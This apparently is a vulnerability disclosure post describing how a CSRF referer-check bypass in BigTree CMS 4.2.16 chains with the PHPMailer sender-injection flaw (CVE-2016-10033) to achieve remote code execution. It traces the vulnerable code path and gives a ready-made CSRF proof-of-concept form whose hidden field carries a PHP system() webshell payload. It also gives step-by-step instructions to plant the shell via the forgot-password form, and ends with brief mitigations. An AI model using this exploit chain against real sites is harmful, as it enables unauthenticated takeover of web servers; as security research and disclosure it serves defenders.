Cyber Security / Data Science / Trading

CSRF Protection Bypass and PHPMailer Remote Code Execution

Vulnerability Type: Cross-Site Request Forgery (CAPEC-62, CWE-352)
Author: [email protected]
Vendor Homepage:
Software Link:
Version: v.4.2.16


PHPMailer RCE (CVE-2016-10033)

An independent research uncovered a critical vulnerability in PHPMailer (version < 5.2.20) that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.

PHPMailer uses the Sender variable to build the params string. Then PHPMailer::send() would call PHP native function mail() to execute /usr/bin/sendmail with the arguments in $this->Sender

According to my analysis, if we can control the value of Sender, we can let sendmail save the context (<?php phpinfo()?>) to any given path (/var/www/html/shell.php), which means code execution.

PHPMailer in BigTree CMS

BigTree CMS include PHPMailer in /core/inc/bigtree/utils.php

static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
    $mailer = new PHPMailer;

    foreach ($headers as $key => $val) {

    $mailer->Subject = $subject;
    if ($html) {
        $mailer->Body = $html;
        $mailer->AltBody = $text;
    } else {
        $mailer->Body = $text;

    if (!$from) {
        $from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $from_name = "BigTree CMS";
    } else {
        // Parse out from and reply-to names
        $from_name = false;
        $from = trim($from);
        if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
            $from_pieces = explode("<",$from);
            $from_name = trim($from_pieces[0]);
            $from = substr($from_pieces[1],0,-1);
    $mailer->From = $from;
    $mailer->FromName = $from_name;
    $mailer->Sender = $from;

The right way to set the value of Sender is using secure method $mailer->setForm(),but here the function passes $from to $mailer->Sender directly without any validation.

Go finding the call to function sendEmail().


function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
    if ($this->Service == "local") {
        return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);

Finding call to this function.

/core/inc/bigtree/admin.php line 2526

static function forgotPassword($email) {
$es = new BigTreeEmailService;

// Only use a custom email service if a from email has been set
    if ($es->Settings["bigtree_from"]) {
        $reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);

Finding how to manage the value of $es->Settings["bigtree_from"]

/core/admin/modules/developer/email/update.php line 16

$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];


Now the transfer route is clear:

$_POST["bigtree_from"]; -> $settings["settings"]["bigtree_from"] -> $es->Settings["bigtree_from"] -> $from_email -> $from -> $mailer->Sender

The entry $_POST["bigtree_from"]; is generated by "Developer / Email Delivery" form.


But unfortunately it requires admin privilege, So I have to see if CSRF works.

CSRF Filter Bypass

Then I found its CSRF filter at

/core/admin/modules/developer/_header.php line 3

if (count($_POST)) {
    $clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
    $clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";

    // The referer MUST contain a URL from within the developer section to post to it.
    if (strpos($clean_referer,$clean_admin_root) === false) {

It can be simply bypassed with:



Specific process is divided into the following four steps:

  1. Upload csrf.html to his public server, then send a CSRF probe to admin.
  2. Admin triggers CSRF, sending a POST request to updates mail settings.
  3. Request a mail from CMS, hence the PHPMailer will create a webshell.
  4. Execute commands with webshell.


CSRF probe



  <!-- CSRF PoC - generated by Burp Suite Professional -->
    <form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
      <input type="hidden" name="service" value="local" />
      <input type="hidden" name="bigtree&#95;from" value="&#63;php&#59;system&#40;&#36;&#95;GET&#91;&apos;a&apos;&#93;&#41;&#59;&#47;&#42;&#32;&#45;X&#47;var&#47;www&#47;html&#47;final&#46;php&#32;&#64;xxx" />
      <input type="submit" value="Submit request" />

payloads in csrf.html

?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx

(<> was filtered in backend, so I use /* to comment the following text)




Trigger PHPMailer at "forgot-password" form (unauthorized).


Then /var/www/html/final.php will be created with PHP codes inside.



Execute system commands with webshell.



  1. Update PHPMailer to latest version.
  2. Use secure method "setFrom()" to set the value of "Sender".
  3. Strengthen CSRF protection.